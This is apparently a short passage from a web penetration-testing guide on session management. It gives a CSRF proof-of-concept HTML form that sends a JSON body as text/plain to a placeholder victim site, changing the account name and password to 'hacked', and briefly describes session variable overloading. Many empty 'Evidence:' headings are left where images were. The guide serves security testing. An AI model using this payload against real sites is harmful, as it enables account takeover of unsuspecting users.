4.6 Session Management Testing

Evidence:

Evidence:

Evidence:

Evidence:

We’ll have to change the encoding type (enctype) to text/plain to ensure the payload is delivered as-is.

<html>
 <body>
  <script>history.pushState('', '', '/')</script>
   <form action='http://victimsite.com' method='POST' enctype='text/plain'>
     <input type='hidden' name='{"name":"hacked","password":"hacked","padding":"'value='something"}' />
     <input type='submit' value='Submit request' />
   </form>
 </body>
</html>

Evidence:

Evidence:

Evidence:

This vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.

Evidence:

Evidence:

Evidence:

Evidence:

Last updated